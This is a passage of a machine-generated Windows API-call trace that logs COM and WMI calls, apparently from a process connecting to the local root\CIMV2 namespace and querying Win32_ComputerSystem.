This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc870 | out: ppvObject=0x1afbc870*=0x0) returned 0x80004002 [0169.872] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.872] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbf38 | out: ppv=0x1afbbf38*=0x1b227e80) returned 0x0 [0169.872] WbemLocator:IUnknown:QueryInterface (in: This=0x1b227e80, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbc020 | out: ppvObject=0x1afbc020*=0x0) returned 0x80004002 [0169.872] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b227e80, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbff8 | out: ppvObject=0x1afbbff8*=0x1b227f80) returned 0x0 [0169.872] WbemLocator:IUnknown:Release (This=0x1b227e80) returned 0x0 [0169.872] WbemLocator:IUnknown:QueryInterface (in: This=0x1b227f80, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbda0 | out: ppvObject=0x1afbbda0*=0x1b227f80) returned 0x0 [0169.872] WbemLocator:IUnknown:QueryInterface (in: This=0x1b227f80, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbe30 | out: ppvObject=0x1afbbe30*=0x0) returned 0x80004002 [0169.872] WbemLocator:IUnknown:QueryInterface (in: This=0x1b227f80, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb628 | out: ppvObject=0x1afbb628*=0x0) returned 0x80004002 [0169.873] WbemLocator:IUnknown:AddRef (This=0x1b227f80) returned 0x3 [0169.873] WbemLocator:IUnknown:QueryInterface (in: This=0x1b227f80, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb4e8 | out: ppvObject=0x1afbb4e8*=0x0) returned 0x80004002 [0169.873] WbemLocator:IUnknown:QueryInterface (in: This=0x1b227f80, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb470 | out: ppvObject=0x1afbb470*=0x0) returned 0x80004002 [0169.873] WbemLocator:IUnknown:QueryInterface (in: This=0x1b227f80, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb460 | out: ppvObject=0x1afbb460*=0x0) returned 0x80004002 [0169.873] CoGetContextToken (in: pToken=0x1afbb510 | out: pToken=0x1afbb510) returned 0x0 [0169.873] CoGetContextToken (in: pToken=0x1afbb990 | out: pToken=0x1afbb990) returned 0x0 [0169.873] WbemLocator:IUnknown:QueryInterface (in: This=0x1b227f80, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbba50 | out: ppvObject=0x1afbba50*=0x0) returned 0x80004002 [0169.873] WbemLocator:IUnknown:Release (This=0x1b227f80) returned 0x2 [0169.873] WbemLocator:IUnknown:Release (This=0x1b227f80) returned 0x1 [0169.873] CoGetContextToken (in: pToken=0x1afbc3d0 | out: pToken=0x1afbc3d0) returned 0x0 [0169.873] CoGetContextToken (in: pToken=0x1afbc2d0 | out: pToken=0x1afbc2d0) returned 0x0 [0169.873] WbemLocator:IUnknown:QueryInterface (in: This=0x1b227f80, riid=0x1afbc430*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbc400 | out: ppvObject=0x1afbc400*=0x1b227f80) returned 0x0 [0169.873] WbemLocator:IUnknown:AddRef (This=0x1b227f80) returned 0x3 [0169.873] WbemLocator:IUnknown:Release (This=0x1b227f80) returned 0x2 [0169.873] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b232ae0, puCount=0x1afbc808 | out: puCount=0x1afbc808*=0x2) returned 0x0 [0169.873] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=8, puBuffLength=0x1afbc800*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc800*=0xf, pszText=0x0) returned 0x0 [0169.873] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=8, puBuffLength=0x1afbc800*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc800*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.873] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1afbc550 | out: ppv=0x1afbc550*=0x1b227880) returned 0x0 [0169.873] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b227880, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1afbc6c8 | out: ppNamespace=0x1afbc6c8*=0x1b217690) returned 0x0 [0170.011] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217690, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc3c8 | out: ppvObject=0x1afbc3c8*=0x1b203350) returned 0x0 [0170.011] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b203350, pProxy=0x1b217690, pAuthnSvc=0x1afbc490, pAuthzSvc=0x1afbc410, pServerPrincName=0x1afbc438, pAuthnLevel=0x1afbc414, pImpLevel=0x1afbc420, pAuthInfo=0x1afbc448, pCapabilites=0x1afbc424 | out: pAuthnSvc=0x1afbc490*=0xa, pAuthzSvc=0x1afbc410*=0x0, pServerPrincName=0x1afbc438, pAuthnLevel=0x1afbc414*=0x6, pImpLevel=0x1afbc420*=0x2, pAuthInfo=0x1afbc448, pCapabilites=0x1afbc424*=0x1) returned 0x0 [0170.011] WbemLocator:IUnknown:Release (This=0x1b203350) returned 0x1 [0170.011] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217690, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc360 | out: ppvObject=0x1afbc360*=0x1b203398) returned 0x0 [0170.011] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217690, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc370 | out: ppvObject=0x1afbc370*=0x1b203350) returned 0x0 [0170.012] WbemLocator:IClientSecurity:SetBlanket (This=0x1b203350, pProxy=0x1b217690, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0170.012] WbemLocator:IUnknown:Release (This=0x1b203350) returned 0x2 [0170.012] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0170.012] CoTaskMemFree (pv=0x1b204f70) [0170.012] WbemLocator:IUnknown:Release (This=0x1b227880) returned 0x0 [0170.012] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217690, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbe60 | out: ppvObject=0x1afbbe60*=0x1b203398) returned 0x0 [0170.012] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbef0 | out: ppvObject=0x1afbbef0*=0x0) returned 0x80004002 [0170.032] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbb10 | out: ppvObject=0x1afbbb10*=0x0) returned 0x80004002 [0170.056] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217690, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb6e8 | out: ppvObject=0x1afbb6e8*=0x0) returned 0x80004002 [0170.062] WbemLocator:IUnknown:AddRef (This=0x1b203398) returned 0x3 [0170.062] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb5a8 | out: ppvObject=0x1afbb5a8*=0x0) returned 0x80004002 [0170.062] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb530 | out: ppvObject=0x1afbb530*=0x0) returned 0x80004002 [0170.062] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb520 | out: ppvObject=0x1afbb520*=0x1b203278) returned 0x0 [0170.062] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b203278, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb548 | out: pCid=0x1afbb548*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0170.062] WbemLocator:IUnknown:Release (This=0x1b203278) returned 0x3 [0170.062] CoGetContextToken (in: pToken=0x1afbb5d0 | out: pToken=0x1afbb5d0) returned 0x0 [0170.062] CoGetContextToken (in: pToken=0x1afbba50 | out: pToken=0x1afbba50) returned 0x0 [0170.062] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbb10 | out: ppvObject=0x1afbbb10*=0x1b203360) returned 0x0 [0170.063] WbemLocator:IRpcOptions:Query (in: This=0x1b203360, pPrx=0x1b203398, dwProperty=2, pdwValue=0x1afbbb00 | out: pdwValue=0x1afbbb00) returned 0x80004002 [0170.063] WbemLocator:IUnknown:Release (This=0x1b203360) returned 0x3 [0170.063] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x2 [0170.063] CoGetContextToken (in: pToken=0x1afbc110 | out: pToken=0x1afbc110) returned 0x0 [0170.063] CoGetContextToken (in: pToken=0x1afbc010 | out: pToken=0x1afbc010) returned 0x0 [0170.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x1afbc170*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1afbc140 | out: ppvObject=0x1afbc140*=0x1b217690) returned 0x0 [0170.063] WbemLocator:IUnknown:AddRef (This=0x1b217690) returned 0x4 [0170.063] WbemLocator:IUnknown:Release (This=0x1b217690) returned 0x3 [0170.063] WbemLocator:IUnknown:Release (This=0x1b217690) returned 0x2 [0170.063] SysStringLen (param_1=0x0) returned 0x0 [0170.063] CoGetContextToken (in: pToken=0x1afbc240 | out: pToken=0x1afbc240) returned 0x0 [0170.063] WbemLocator:IUnknown:AddRef (This=0x1b203398) returned 0x3 [0170.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b203398, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc240 | out: ppvObject=0x1afbc240*=0x1b203398) returned 0x0 [0170.064] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x3 [0170.064] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x2 [0170.064] CoGetContextToken (in: pToken=0x1afbc370 | out: pToken=0x1afbc370) returned 0x0 [0170.064] WbemLocator:IUnknown:AddRef (This=0x1b217690) returned 0x3 [0170.064] IWbemServices:ExecQuery (in: This=0x1b217690, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ComputerSystem", lFlags=16, pCtx=0x0, ppEnum=0x1afbc818 | out: ppEnum=0x1afbc818*=0x1b22da40) returned 0x0 [0170.079] IUnknown:QueryInterface (in: This=0x1b22da40, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc4e8 | out: ppvObject=0x1afbc4e8*=0x1b22da48) returned 0x0 [0170.079] IClientSecurity:QueryBlanket (in: This=0x1b22da48, pProxy=0x1b22da40, pAuthnSvc=0x1afbc5b0, pAuthzSvc=0x1afbc530, pServerPrincName=0x1afbc558, pAuthnLevel=0x1afbc534, pImpLevel=0x1afbc540, pAuthInfo=0x1afbc568, pCapabilites=0x1afbc544 | out: pAuthnSvc=0x1afbc5b0*=0xa, pAuthzSvc=0x1afbc530*=0x0, pServerPrincName=0x1afbc558, pAuthnLevel=0x1afbc534*=0x6, pImpLevel=0x1afbc540*=0x2, pAuthInfo=0x1afbc568, pCapabilites=0x1afbc544*=0x1) returned 0x0 [0170.079] IUnknown:Release (This=0x1b22da48) returned 0x1 [0170.079] IUnknown:QueryInterface (in: This=0x1b22da40, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc480 | out: ppvObject=0x1afbc480*=0x1b202698) returned 0x0 [0170.079] IUnknown:QueryInterface (in: This=0x1b22da40, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc490 | out: ppvObject=0x1afbc490*=0x1b22da48) returned 0x0 [0170.080] IClientSecurity:SetBlanket (This=0x1b22da48, pProxy=0x1b22da40, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0170.106] IUnknown:Release (This=0x1b22da48) returned 0x2 [0170.106] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x1 [0170.106] CoTaskMemFree (pv=0x1b205060) [0170.106] IUnknown:QueryInterface (in: This=0x1b22da40, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbf50 | out: ppvObject=0x1afbbf50*=0x1b202698) returned 0x0 [0170.107] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbfe0 | out: ppvObject=0x1afbbfe0*=0x0) returned 0x80004002 [0170.111] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbc00 | out: ppvObject=0x1afbbc00*=0x0) returned 0x80004002 [0170.112] IUnknown:QueryInterface (in: This=0x1b22da40, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb7d8 | out: ppvObject=0x1afbb7d8*=0x0) returned 0x80004002 [0170.115] WbemLocator:IUnknown:AddRef (This=0x1b202698) returned 0x3 [0170.115] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb698 | out: ppvObject=0x1afbb698*=0x0) returned 0x80004002 [0170.115] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb620 | out: ppvObject=0x1afbb620*=0x0) returned 0x80004002 [0170.115] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb610 | out: ppvObject=0x1afbb610*=0x1b202578) returned 0x0 [0170.115] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202578, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb638 | out: pCid=0x1afbb638*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0170.115] WbemLocator:IUnknown:Release (This=0x1b202578) returned 0x3 [0170.116] CoGetContextToken (in: pToken=0x1afbb6c0 | out: pToken=0x1afbb6c0) returned 0x0 [0170.116] CoGetContextToken (in: pToken=0x1afbbb40 | out: pToken=0x1afbbb40) returned 0x0 [0170.116] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbc00 | out: ppvObject=0x1afbbc00*=0x1b202660) returned 0x0 [0170.116] WbemLocator:IRpcOptions:Query (in: This=0x1b202660, pPrx=0x1b202698, dwProperty=2, pdwValue=0x1afbbbf0 | out: pdwValue=0x1afbbbf0) returned 0x80004002 [0170.116] WbemLocator:IUnknown:Release (This=0x1b202660) returned 0x3 [0170.116] WbemLocator:IUnknown:Release (This=0x1b202698) returned 0x2 [0170.116] CoGetContextToken (in: pToken=0x1afbc200 | out: pToken=0x1afbc200) returned 0x0 [0170.116] CoGetContextToken (in: pToken=0x1afbc100 | out: pToken=0x1afbc100) returned 0x0 [0170.116] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202698, riid=0x1afbc260*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbc230 | out: ppvObject=0x1afbc230*=0x1b22da40) returned 0x0 [0170.116] IUnknown:AddRef (This=0x1b22da40) returned 0x4 [0170.116] IUnknown:Release (This=0x1b22da40) returned 0x3 [0170.116] IUnknown:Release (This=0x1b22da40) returned 0x2 [0170.116] WbemLocator:IUnknown:Release (This=0x1b217690) returned 0x2 [0170.116] SysStringLen (param_1=0x0) returned 0x0 [0170.116] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b232ae0, puCount=0x1afbc858 | out: puCount=0x1afbc858*=0x2) returned 0x0 [0170.117] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc850*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc850*=0xf, pszText=0x0) returned 0x0 [0170.117] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc850*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc850*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0170.117] CoGetContextToken (in: pToken=0x1afbc3d0 | out: pToken=0x1afbc3d0) returned 0x0 [0170.117] IUnknown:AddRef (This=0x1b22da40) returned 0x3 [0170.117] IEnumWbemClassObject:Clone (in: This=0x1b22da40, ppEnum=0x1afbc7d0 | out: ppEnum=0x1afbc7d0*=0x1b22df80) returned 0x0 [0170.119] IUnknown:QueryInterface (in: This=0x1b22df80, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc558 | out: ppvObject=0x1afbc558*=0x1b22df88) returned 0x0 [0170.120] IClientSecurity:QueryBlanket (in: This=0x1b22df88, pProxy=0x1b22df80, pAuthnSvc=0x1afbc620, pAuthzSvc=0x1afbc5a0, pServerPrincName=0x1afbc5c8, pAuthnLevel=0x1afbc5a4, pImpLevel=0x1afbc5b0, pAuthInfo=0x1afbc5d8, pCapabilites=0x1afbc5b4 | out: pAuthnSvc=0x1afbc620*=0xa, pAuthzSvc=0x1afbc5a0*=0x0, pServerPrincName=0x1afbc5c8, pAuthnLevel=0x1afbc5a4*=0x6, pImpLevel=0x1afbc5b0*=0x2, pAuthInfo=0x1afbc5d8, pCapabilites=0x1afbc5b4*=0x1) returned 0x0 [0170.120] IUnknown:Release (This=0x1b22df88) returned 0x1 [0170.120] IUnknown:QueryInterface (in: This=0x1b22df80, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc4f0 | out: ppvObject=0x1afbc4f0*=0x1b201b38) returned 0x0 [0170.120] IUnknown:QueryInterface (in: This=0x1b22df80, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc500 | out: ppvObject=0x1afbc500*=0x1b22df88) returned 0x0 [0170.120] IClientSecurity:SetBlanket (This=0x1b22df88, pProxy=0x1b22df80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0170.135] IUnknown:Release (This=0x1b22df88) returned 0x2 [0170.135] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x1 [0170.135] CoTaskMemFree (pv=0x1b205030) [0170.136] IUnknown:QueryInterface (in: This=0x1b22df80, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbfb0 | out: ppvObject=0x1afbbfb0*=0x1b201b38) returned 0x0 [0170.136] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbc040 | out: ppvObject=0x1afbc040*=0x0) returned 0x80004002 [0170.138] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbc60 | out: ppvObject=0x1afbbc60*=0x0) returned 0x80004002 [0170.143] IUnknown:QueryInterface (in: This=0x1b22df80, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb838 | out: ppvObject=0x1afbb838*=0x0) returned 0x80004002 [0170.144] WbemLocator:IUnknown:AddRef (This=0x1b201b38) returned 0x3 [0170.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb6f8 | out: ppvObject=0x1afbb6f8*=0x0) returned 0x80004002 [0170.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, 